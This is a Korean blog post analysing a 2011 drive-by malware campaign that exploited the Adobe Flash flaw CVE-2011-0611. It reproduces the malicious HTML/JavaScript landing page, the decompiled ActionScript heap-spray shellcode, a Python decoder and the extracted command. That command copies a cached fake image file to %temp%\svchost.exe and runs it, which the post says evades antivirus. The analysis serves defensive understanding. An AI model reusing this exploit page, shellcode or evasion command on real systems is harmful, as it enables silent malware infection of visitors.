최근에 Adobe Flash 취약점 (CVE-2011-0611) 이 발표되었다. 그리고 해당 취약점은 지난 주말에 악성코드 유포에 이용되어 국내에 관련 악성코드 피해건수가 꽤나 높게 나왔다.
이번에 해당 취약점을 분석하면서 흥미로운 포스팅을 하나 보았다. 기존 웹을 통해 유포되는 악성코드는 대부분 취약점을 통해 쉘코드를 실행하는데, 이 쉘코드는 대부분 악성코드를 Download & Excute 하는 쉘코드이다.
하지만 이번에 이용된 쉘코드는 기존과 달랐다. 어떻게 다른지 한번 살펴보자. 우선 취약점 관련 코드이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
| <html>
<head>
<script type="text/javascript">
function getCookieVal (offset){
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1) {
endstr = document.cookie.length;
}
return unescape(document.cookie.substring(offset, endstr));
}
function GetCookie (name){
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen){
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0)
break;
}
return null;
}
function SetCookie (name, value){
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (2 < argc) ? argv[2] : null;
var path = (3 < argc) ? argv[3] : null;
var domain = (4 < argc) ? argv[4] : null;
var secure = (5 < argc) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
}
function DisplayInfo(){
var expdate = new Date();
var visit;
expdate.setTime(expdate.getTime() + (24 * 60 * 60 * 1000 ));
if(!(visit = GetCookie("visit")))
visit = 0;
visit++;
SetCookie("visit", visit, expdate, "/", null, false);
return visit;
}
function code(){
var num=DisplayInfo();
if (num < 3){
return 1;
}
else{
return 0;
}
}
function user(){
var t1="<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n"+
"<object width=\"550\" height=\"400\">\r\n"+
"<param name=\"movie\" value=\"done.swf\">\r\n"+
"<embed src=\"t1.swf\" width=\"550\" height=\"400\">\r\n"+
"<\/embed>\r\n"+
"<\/object>"
;
var t8="<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n"+
"<object classID=yg.dll#yg.e><\/object>\r\n"+
"<object width=\"550\" height=\"400\">\r\n"+
"<param name=\"movie\" value=\"done.swf\">\r\n"+
"<embed src=\"t8.swf\" width=\"550\" height=\"400\">\r\n"+
"<\/embed>\r\n"+
"<\/object>"
;
var info = navigator.userAgent.toLowerCase();
var win = (navigator.platform == "Win32") || (navigator.platform == "Windows");
var ck=code();
window.onerror=function(){return true;}
var page="";
var temp=navigator.userAgent.toLowerCase();
var ie6 = temp.indexOf("msie 6.")!=-1;var ie7 = temp.indexOf("msie 7.")!=-1;var ie8 = temp.indexOf("msie 8.")!=-1;if(ie8){ie6=false;ie7=false;}if(ie7){ie6=false;}
var fox = temp.indexOf("firefox/")!=-1;
var xp=((temp.indexOf('windows nt 5.1')!=-1)||(temp.indexOf('windows xp')!=-1));
if(ie6||ie7){document.body.innerHTML="xxxx"+t1}else if(ie8){document.body.innerHTML="xxxx"+t8}else{document.body.innerHTML="xxxx"+t1};
}
</script>
<script src=newsvine.jp2></script>
</head>
<body onload=user()>
</body>
</html>
|
코드를 보면 우선 t1.swf, t8.swf가 로드됨을 알 수 있다. 이 파일들로 인해 취약점이 발생하는 것이다. 그리고 하단에 보면 newsvine.jp2 파일을 삽입한다. 일단 newsvine.jp2 파일을 삽입함을 기억하고 넘어가도록 하자.
이제 t1.swf 파일을 분석해보자. 디컴파일러를 통해 우선 코드를 확인해보자. 디컴파일러는 여러 제품이 있지만 이툴도 사용해볼만 하다.
SWFScan : http://www.hp.com/go/swfscan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| while(this.i < 1023)
{
writeBytes(this.s3, 0, this.s3.length);
loc0 = this;
loc1 = this.i + 1;
loc0.i = this.i;
}
writeInt(2425393296);
writeInt(2425393296);
writeInt(3326443264);
writeInt(1083216016);
writeInt(3943717707);
writeInt(63530681);
writeInt(2231533620);
writeInt(-69016838);
writeInt(3943033067);
writeInt(4294967051);
writeInt(3118523106);
.
.
[생략]
.
.
writeInt(3123304899);
writeInt(3806520034);
trace(this.s.length);
this.i = 0;
this.i = 0;
while(this.i < 176)
{
this.s2 = new ByteArray();
writeBytes(this.s, 0, this.s.length);
trace(this.s2.length);
push(this.s2);
loc0 = this;
loc1 = this.i + 1;
loc0.i = this.i;
}
this.r = this.hexToBin(this.t);
this.ldr = new Loader();
loadBytes(this.r);
stop();
return;
|
writeInt(숫자)로 된 부분이 쉘코드임을 알 수 있다. 따라서 writeInt(숫자) 로 된 부분만 따로 떼어 아래와 같이 코드를 작성하여 쉘코드를 분석할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
| #!/usr/bin/env python
import re
s = '''
writeInt(2425393296);
writeInt(2425393296);
writeInt(3326443264);
writeInt(1083216016);
writeInt(3943717707);
writeInt(63530681);
writeInt(2231533620);
writeInt(-69016838);
writeInt(3943033067);
writeInt(4294967051);
writeInt(3118523106);
writeInt(3184599686);
writeInt(1137894114);
writeInt(3798573806);
writeInt(1235416681);
writeInt(3798590057);
writeInt(2331142421);
writeInt(2296888074);
writeInt(82043618);
writeInt(1107303050);
writeInt(3520127714);
writeInt(2327286151);
writeInt(2427873764);
writeInt(-88742942);
writeInt(3798534792);
writeInt(3820685877);
writeInt(3823297024);
writeInt(193629905);
writeInt(3504507537);
writeInt(2324139702);
writeInt(1239681755);
writeInt(3823297129);
writeInt(-91692101);
writeInt(-94641182);
writeInt(3791657833);
writeInt(107024054);
writeInt(1226705404);
writeInt(3138065634);
writeInt(3806509067);
writeInt(266527458);
writeInt(3112755848);
writeInt(3803426993);
writeInt(2296520116);
writeInt(4195031010);
writeInt(3806464575);
writeInt(220011905);
writeInt(2407976071);
writeInt(2592588493);
writeInt(2713887917);
writeInt(2965556656);
writeInt(3267413943);
writeInt(2980556978);
writeInt(2964169899);
writeInt(2930231230);
writeInt(2928509315);
writeInt(2395124103);
writeInt(2526448524);
writeInt(2240921270);
writeInt(2274333325);
writeInt(2424541339);
writeInt(3266022550);
writeInt(2274397319);
writeInt(2529338507);
writeInt(2391249342);
writeInt(3233990539);
writeInt(3266030786);
writeInt(3398207381);
writeInt(2442431372);
writeInt(2278083720);
writeInt(2463157186);
writeInt(2796405450);
writeInt(3397488518);
writeInt(3431438983);
writeInt(3267415425);
writeInt(3263596430);
writeInt(3268252098);
writeInt(3348531087);
writeInt(2462563985);
writeInt(2491517581);
writeInt(2442579079);
writeInt(2592588484);
writeInt(3301081485);
writeInt(2459681472);
writeInt(3347824834);
writeInt(3348531087);
writeInt(2462563985);
writeInt(2491517581);
writeInt(2442579079);
writeInt(2592588493);
writeInt(2613232836);
writeInt(3263270790);
writeInt(3431438983);
writeInt(3268248002);
writeInt(2442560400);
writeInt(2529347478);
writeInt(2274333383);
writeInt(3197211777);
writeInt(2324533654);
writeInt(3431438983);
writeInt(3234581474);
writeInt(-85517027);
writeInt(226594694);
writeInt(3431438983);
writeInt(3792313372);
writeInt(220040594);
writeInt(2274157153);
writeInt(109478761);
writeInt(225044166);
writeInt(1093070433);
writeInt(-84599550);
writeInt(1121585814);
writeInt(3898792459);
writeInt(2531746522);
writeInt(-107482269);
writeInt(2598859378);
writeInt(1114805994);
writeInt(1226684265);
writeInt(-26238233);
writeInt(218237661);
writeInt(3806519841);
writeInt(1121585814);
writeInt(3898792459);
writeInt(2531746522);
writeInt(-107482269);
writeInt(2598859378);
writeInt(1114805762);
writeInt(2330650850);
writeInt(3798967015);
writeInt(218237685);
writeInt(3806519841);
writeInt(-84679966);
writeInt(3797611491);
writeInt(3865190638);
writeInt(3792298170);
writeInt(17439517);
writeInt(220051748);
writeInt(3847908285);
writeInt(3817088421);
writeInt(3877437985);
writeInt(2976464561);
writeInt(2292353762);
writeInt(4074955445);
writeInt(1235545610);
writeInt(2585599261);
writeInt(3122770868);
writeInt(1234689641);
writeInt(2529991393);
writeInt(129264020);
writeInt(3269531601);
writeInt(195797839);
writeInt(3777483065);
writeInt(3982291672);
writeInt(76999203);
writeInt(166060344);
writeInt(2718503897);
writeInt(4254533052);
writeInt(1237108449);
writeInt(260336110);
writeInt(2842279166);
writeInt(3779029478);
writeInt(1239492425);
writeInt(3166380298);
writeInt(1109335325);
writeInt(3499521006);
writeInt(1195199833);
writeInt(2171286445);
writeInt(4232480269);
writeInt(3045388061);
writeInt(1256780314);
writeInt(3123304899);
writeInt(3806520034);
'''
data = re.findall('\d+', s)
ret = []
for x in data:
tmp = "%X" % int(x)
ret.append(tmp)
print ''.join(ret)
|
위 코드로 완벽하게 변환은 되지 않지만 대충 어느정도 변환은 될것으로 보인다. 위 스크립트를 실행하면 아래와 같다.
1
2
| C:\Users\ByJJoon\Desktop>run.py
9090909090909090c6457f0040909090eb105b4b3c966b98502803441d1d06eb05e8ebffffff0bb9e0e2e2bdd1228643d2e2e2e269a2ee49a2f669e269e2698af2691588e7bb0a4e3e2e242001a8ad1d0e2e28ab7918790b669e454a1c1ee2690a88e3bb0a35e3e2e200b8a8ed1d0e28a918a878eb649e40adbe3e2e2695771c455a41c1ee2001b696610eb6491e09fcbb0b14e2e2e2b80bfe2e2e2b988e288e2b3b0b188e21db4fa0b17e2e2e20a3fd1d1d818f86cc879a87c2cda1c2a4adb0c2cdb0c2c0c7b7b1a7b0b2b0ada4abaea7c7beae8d81838ec2b18796968b8c8591beb6878f928d9083909bc2ab8c9687908c8796c2a48b8e8791bec0c2c78bc2abacc2ca8c879591948b8c87c8cc8892d0cbc2a6adc2caca818f86cc879a87c2c0cd81c286878ec2cd91c2c796878f92c7be9194818a8d9196cc879a87c2c4c4c2818d929bc2c0c78bc0c2c796878f92c7be9194818a8d9196cc879a87c2cd9bc2c4c4c2818f86cc879a87c2cd81c29196839096c2c796878f92c7be9194818a8d9196cc879a87c0cbcbe2518e2e3d818f86cc879a87e20a1c1cd1d8d92878ce2616868369d69e6c64126ee6150ae2fe42da0a96e862da0b96e762da6680c9d9ae77272427296ea491db7691905d19d020adde2e2e22142da0a96e862da0b96e762da6680c9d9ae77272427296028aeae8e2e26fa2e7d020af5e2e2e22150c1d1ee25af3e3e66220eee209e0ba10a1b1dd1db924e55a6bbde38425a5e71d0221b1693eb188a28ae2f2e2e2b549a4ee0a9a1d1d1dba21b3b44997de6996cc9ae17b46994c2e117d1baba34fe127d139ed5cf2d8496ea239e5e138a20913d9fd9705bc49bcc6e1f8469eea969bcfee13f69e649e12749bcbb210a421f1d1dd09673ee473d4d59816b33adfc46860db584ef1d4ae8f21aba29d9c3e2e2e2e2
|
이제 나온 결과를 확인해보면 아래와 같은 문자열을 확인할 수 있다.
1
| cmd.exe /C FOR /R "%USERPROFILE%\Local Settings\Temporary Internet Files\" %i IN (newsvine*.jp2) DO ((cmd.exe "/c del /s %temp%\svchost.exe && copy "%i" %temp%\svchost.exe /y && cmd.exe /c start %temp%\svchost.exe"))
|
이전에 삽입되었던 newsvine.jp2 파일을 %temp%svchost.exe 로 복사하여 실행하는 것이다. 여기서 newsvine*.jp2 와 같이 와일드카드를 이용하여 코드를 작성한 이유는 이전에 삽입되었던 파일이 인터넷 임시폴더에 저장될때 newsvine[1].jp2 등의 파일이름으로 저장되기 때문에 정확히 어떤 파일명인지 알수 없기 때문이다.
즉, 최근 브라우져에서 URLDownloadToFile() 함수를 호출하는 경우 백신에서 탐지를 하게 되므로 이를 우회하기 위해 다음과 같은 기법을 이용하는 것으로 보인다.
이러한 기법은 아주 흥미로운 내용인거 같다 :-)
참고 : http://blog.armorize.com/2011/04/newest-adobe-flash-0-day-used-in-new.html